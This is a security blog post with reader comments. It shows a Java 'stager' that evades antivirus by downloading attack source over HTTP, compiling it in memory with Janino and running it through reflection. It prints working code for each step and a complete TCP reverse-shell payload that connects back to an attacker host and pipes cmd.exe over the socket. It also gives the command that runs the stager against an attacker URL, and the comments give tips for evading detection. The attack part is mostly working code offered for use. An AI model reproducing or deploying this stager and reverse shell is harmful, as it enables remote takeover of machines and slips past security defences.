== Update 08/08/2018 ==
The day after I posted it was Glasgow Defcon. I found a spare 30 minutes to make some slides so I did a lightning talk. I know lots of people like to have slides when slides exist so here they are:
https://cornerpirate.files.wordpress.com/2018/08/java-stager.pdf
Though personally I think the blog post is going to help more but yea.
Enjoy
== Original Article ==
I work with some very talented people. I also work with James Williams (a joke, precisely the sort of self deprecation he engages in). He should know that I think he is amazingly capable. At SteelCon 2018 he dropped a lightning talk as below:
Next Gen AV vs my shitty code – by James Williams
In it he showed how he gets past various anti-virus solutions by using .Net. To summarise the technique it:
- Needs a “stager” which can download code into memory
- A means of compiling that source (also in memory)
- Then a way to execute that code
The key part from James about the process is: “(the) Stager has to touch disk, the payload does not”. There is nothing malicious about the stager so it essentially gets a free pass from all AV solutions that he tested. Then because the process works entirely in memory there is “hee-haw” (to use a wonderful Scottish phrase) chance of detection at the moment.
I really liked the talk. I especially noticed his challenge that “these are transferable tricks and should work in Java”. Since I like hacking with Java I got stuck in and tried it out. This post discusses the 3 steps of the technique and provides an example payload.
The full code for both the Stager and the payload is available from my GitHub page here:
https://github.com/cornerpirate/java-stager
The rest of this post summarises in English how the things fit together.
I am not a malware expert. I am not a ninja at avoiding anti-virus. Wherever I need to avoid AV I just write my own payload and it seems to work quite well so far. If you want to stay hidden you basically need to implement your own tools. Hopefully my stumbling steps here are of use to someone.
Downloading a page over HTTP using Java
This first code snippet shows the code used to open a connection to a URL and then save the HTTP response body into a StringBuffer:
import java.net.URL; import java.net.URLConnection; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.StringReader; ... // URL for java code URL payloadServer = new URL(u); URLConnection yc = payloadServer.openConnection(); BufferedReader in = new BufferedReader(new InputStreamReader( yc.getInputStream())); // Download code into memory String inputLine; StringBuffer payloadCode = new StringBuffer(); while ((inputLine = in.readLine()) != null) { payloadCode.append(inputLine + "\n"); } System.out.println("[*] Downloaded payload");
Nothing crazy here really. But I sometimes need to find this code quickly so felt it necessary to stick it in here prominently. The StringBuffer is not written to disk which matches what James does in .net.
James went further and used encryption to obfuscate his payload. My PoC is not that advanced but could be modified to decrypt the payload too.
Compiling Java in Memory
I went looking for a way to compile Java in memory. I initially made a proof of concept using this GitHub repo:
https://github.com/trung/InMemoryJavaCompiler
It totally worked and did what it said on the tin. The problem came when seeking to run the Stager on a victim. Lots of computers have a Java Runtime Environment (JRE) meaning that they can execute Java bytecode. Typically only Developer workstations and Servers have the Java Development Kit (JDK) installed. InMemoryJavaCompiler requires the victim to have JDK installed or it fails to work. The following shows the error when the JDK is not installed on the victim:
The “NullPointerException” is not very descriptive but it meant that Javac was not available.
If you get here by Google and want to know how to compile in memory without JDK installed then here are your options:
- Official Java Way – Obtain a copy of “tools.jar” from the JDK/lib folder and place it in the JRE/lib folder. This is not an ideal solution because the license from Oracle on Java makes it technically illegal to do this. Note: that simply including “tools.jar” into the classpath of your running application does not work (despite many StackOverflow posts saying it does, it certainly doesn’t work in 2018). This also means that the victim must have admin privileges so that they can alter the contents of the “c:\Program Files\Java\” directory structure. It felt fake when doing this.
- Finding a 3rd Party Compiler – Several projects have created their own implementation of Javac. These are open source with less restrictive licenses. After a bit of research the best option was “Janino“. At 780kb this was way smaller than “tools.jar”. It worked by being in the classpath so also didn’t need special privileges from the victim.
In the end Janino won the battle for the reasons above. I altered the PoC to fully operate that way.
Want to know how to compile a String into Java Bytecode in memory? Here is the code to do that:
import org.codehaus.janino.*; ... // Compile it using Janino System.out.println("[*] Compiling ...."); SimpleCompiler compiler = new SimpleCompiler(); compiler.cook(new StringReader(payloadCode.toString())); Class compiled = compiler.getClassLoader().loadClass("Payload") ;
Again nothing too scary here. The “SimpleCompiler” class does what it says giving you a simple API for compiling files and strings into Bytecode. In this case Janino rather charmingly calls the compilation method “cook” (awwwww guys!).
The loadClass method takes a String argument which is set to “Payload”. This is the class name and file name of the payload which is listed later. If you are downloading over HTTP my testing showed that the filename mattered. When giving a URL it must download “http://attackerhost/Payload.java”. Whatever your payload file is called on disk must match the class name or compilation will fail.
Using Reflection to execute Java Bytecode in Memory
By the end of the previous snippet we have access to our Bytecode via the “compiled” object. Now all we need to do is execute the “Run” method of the Payload class and we can go home. The following shows how to do that:
import java.lang.reflect.Method; ... // Execute "Run" method using reflection System.out.println("[*] Executing ...."); Method runMeth = compiled.getMethod("Run"); // This form of invoke works when "Run" is static runMeth.invoke(null); System.out.println("[*] Payload, payloading ....");
We are about to say method a lot. Deep breaths everyone… Use the “getMethod” method to get the Method. Then use the “invoke” method to invoke the method that you got!
To be consistent with the naming scheme used by James I have called my method “Run” with a capital “R”. Which isn’t very Java of me. I can sense a few veins pulsing and throbbing on foreheads at the very notion of pissing about with the case of a method name in Java.
The “invoke(null)” works because the “Run” method has the following declaration:
public static void Run() { ; }
Since it is static and because it has no arguments we get away with just passing “null”. There is a dark art to invoking methods with actual arguments which I did not need to figure out for my reverse shell payload (included later in this post).
My Java Stager
The full code is available here:
https://github.com/cornerpirate/java-stager/blob/master/src/main/java/Stager.java
We have already discussed all of the important bits relevant to the techniques in the three snippets. In addition to those, it has some basic usage baked in to make it less scary to use:
// Check how many arguments were passed in if (args.length != 1) { System.out.println("Proper Usage is: java -jar JavaStager-0.1-initial.jar "); System.exit(0); }
If you call the Stager without any input parameters it will bomb out and explain that you need to provide a URL.
The URL you use should point to a Java payload. Obviously I am not making malware for a living (I would not be any good at it). I suspect you would want to hard-code the URL rather than require user interaction but I am not here to make something malicious.
My Java Payload
The full source code for the example payload is available here:
https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java
It includes a basic TCP reverse shell aimed at a Windows victim. The eagle eyed will notice the file in the GitHub repository is not called “Payload.java”. This is not going to work if you use it without modification. The following shows the full listing for the Payload class which will work:
import java.net.Socket; import java.io.InputStream; import java.io.OutputStream; public class Payload { /** * This method is called when the payload is compiled and executed. I am * showing a reverse shell here for Windows. */ public static void Run() { try { // IP address or hostname of attacker String attacker = "SETME"; int port = 8044; // For a windows target do this. For linux "/bin/bash" String cmd = "cmd.exe"; // The rest creates a new process // Establishes a socket to the attacker // Then redirects the stdin, stdout and stderr to the port. Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s = new Socket(attacker, port); InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); OutputStream po = p.getOutputStream(), so = s.getOutputStream(); // read all input and output forever. while (!s.isClosed()) { while (pi.available() > 0) { so.write(pi.read()); } while (pe.available() > 0) { so.write(pe.read()); } while (si.available() > 0) { po.write(si.read()); } so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e) { } }; p.destroy(); s.close(); } catch (Exception ex) { // Ignore errors as we are doing naughty things anyway. } } }
Just set the attacker’s IP and port number appropriately and you are away with the above saved into “Payload.java”.
The reason for using a different filename in the repository is to prevent class name clashing when the Payload is actually compiled. The Readme and heading comments for the template in GitHub both explain the changes you need to make so I will not repeat it a 3rd time here.
Lets all look at a shell!
Because why not? PoC the PoC or gtfo isn’t it? Here is < 60 seconds of waffling to show how it works:
For ease the key parts of the video are. Start your listeners on the attacker's machine:
Upload the Stager and libs folder to the victim and then execute using this syntax:
java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java
If you have set your Payload.java file up correctly then you will have a wizzy new shell:
I have to admit this was fun. Thanks for the inspiration James!
why I just get “payload payloading” without a cmd shell
That message comes here in the code:
// Execute “Run” method using reflection
System.out.println(“[*] Executing ….”);
Method runMeth = compiled.getMethod(“Run”);
// This form of invoke works when “Run” is static
runMeth.invoke(null);
System.out.println(“[*] Payload, payloading ….”);
To get to “Payload, payloading” it means the code has downloaded, compiled, and executed in memory without error.
If the “Payload.java” file you have made is not pointing to a netcat listener then you would not see a shell back? I don’t know enough from your question to answer it. Hopefully this drags you along the right road?
But I have not a error.
Thank you very much and I check again.
But the JavaStager-0.1-initial.jar can be found. So I must find a way to avoid this?
It was a PoC of the techniques. The flaw of it is that needing a stager to be written to disk is always going to be one upload to VirusTotal away from being caught.
When testing a customer simply write a new stager which broadly does the same things but which isn’t identical and you will mostly be ok for the campaign.
If you are looking for a technique which is pretty much all in memory then my later blog post in the series covers doing what Java-Stager did but without uploading a new binary.
This is here:
https://cornerpirate.com/2018/08/28/java-stager-without-the-stager/
Hope that helps